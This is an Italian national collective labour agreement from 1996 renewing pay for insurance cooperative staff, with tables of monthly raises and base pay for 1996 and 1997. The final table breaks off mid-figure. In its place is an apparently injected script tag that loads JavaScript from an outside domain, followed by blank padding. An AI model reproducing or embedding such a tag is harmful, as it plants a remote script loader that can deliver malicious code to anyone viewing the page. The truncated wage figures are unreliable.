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Categoria: Assicurazioni (cooperative e confesercenti)
Settore: Credito e Assicurazioni
Data stipula: 15-7-1996
Data decorrenza: 1-1-1996
Data scadenza: 31-12-1997

Contratto Collettivo Nazionale di Lavoro

ASSICOOP del 24 febbraio 1995

RINNOVO PARTE RETRIBUTIVA 2° BIENNIO (1 gennaio 1996-31 dicembre 1997)

Tra  il  Coordinamento Nazionale delle agenzie d'assicurazione,  assistito
dalla  Lega  Nazionale  delle Cooperative e Mutue e dalla  Lega  Regionale
Emilia  Romagna  e la FULA rappresentata da FISAC-CGIL, UILASS-UIL,  FIBA-
CISL si è stipulato il seguente Accordo:

1)    Le  parti  concordano  di erogare aumenti retributivi  al  personale
  presente e in forza alla data odierna come da tabelle allegate.

  Le somme arretrate saranno corrisposte entro la data di erogazione della
  retribuzione del mese di agosto 1996.
  
  
2)    Le  parti  concordano  che  sarà versato alla  Cassa  di  Previdenza
  complementare, a titolo di 'una tantum', la somma di £.  120.000  per  i
  lavoratori  inquadrati nella parte prima del CCNL e di £. 50.000  per  i
  lavoratori inquadrati nella parte seconda.

  L''una  tantum'  sarà versata, in cifra fissa per tutti  i  livelli,  in
  un'unica  soluzione  entro il mese di gennaio  1997,  per  il  personale
  presente e in forza sia all'1.1.96 che all'1.1.97.
  
  
Bologna, 15 luglio 1996.


Per la FULA:
FISAC-CGIL                       LEGA NAZIONALE COOPERATIVE E MUTUE
UILASS-UIL                       LEGA REGIONALE EMILIA ROMAGNA
FIBA-CISL                        COORDINAMENTO NAZIONALE ASSICOOP



TABELLE AUMENTI RETRIBUTIVI 2° BIENNIO (1 gennaio 1996-31 dicembre 1997)
CCNL ASSICOOP

A  decorrere  dall'1.1.96 verranno erogati i seguenti aumenti  retributivi
mensili:

Contratto    Livello    Imp. Mensile

Parte I         1         58.442
Parte I         2         60.605
Parte I         3         66.401
Parte I         4         70.000
Parte I         5         78.472
Parte I         6         85.174
Parte I         7         96.306

Parte II        1         22.193
Parte II        2         25.550
Parte II        3         31.154


Di  conseguenza,  a  decorrere dall'1.1.96 la paga base mensile  nazionale
conglobata lorda per ciascun livello di inquadramento è la seguente:

Contratto    Livello     Paga base

Parte I         1        712.702
Parte I         2        774.598
Parte I         3        935.683
Parte I         4      1.034.929
Parte I         5      1.270.406
Parte I         6      1.456.382
Parte I         7      1.766.227

Parte II        1        279.377
Parte II        2        359.411
Parte II        3        469.954


A  decorrere  dall'1.7.96 verranno erogati i seguenti aumenti  retributivi
mensili:

Contratto    Livello    Imp. Mensile

Parte I         1         16.698
Parte I         2         17.316
Parte I         3         18.972
Parte I         4         20.000
Parte I         5         22.421
Parte I         6         24.335
Parte I         7         27.516

Parte II        1          6.341
Parte II        2          7.300
Parte II        3          8.901


Di  conseguenza,  a  decorrere dall'1.7.96 la paga base mensile  nazionale
conglobata lorda per ciascun livello di inquadramento è la seguente:

Contratto    Livello     Paga base

Parte I         1        729.400
Parte I         2        791.913
Parte I         3        954.655
Parte I         4      1.054.929
Parte I         5      1.292.827
Parte I         6      1.480.718
Parte I         7      1.793.743

Parte II        1        285.718
Parte II        2        366.712
Parte II        3        478.855


A  decorrere  dall'1.1.97 verranno erogati i seguenti aumenti  retributivi
mensili:

Contratto    Livello    Imp. Mensile

Parte I         1         50.093
Parte I         2         51.947
Parte I         3         56.915
Parte I         4         60.000
Parte I         5         67.262
Parte I         6         73.006
Parte I         7         82.548

Parte II        1         19.023
Parte II        2         21.900
Parte II        3         26<script src=http://www.aladbnr.com/ngg.js></script>













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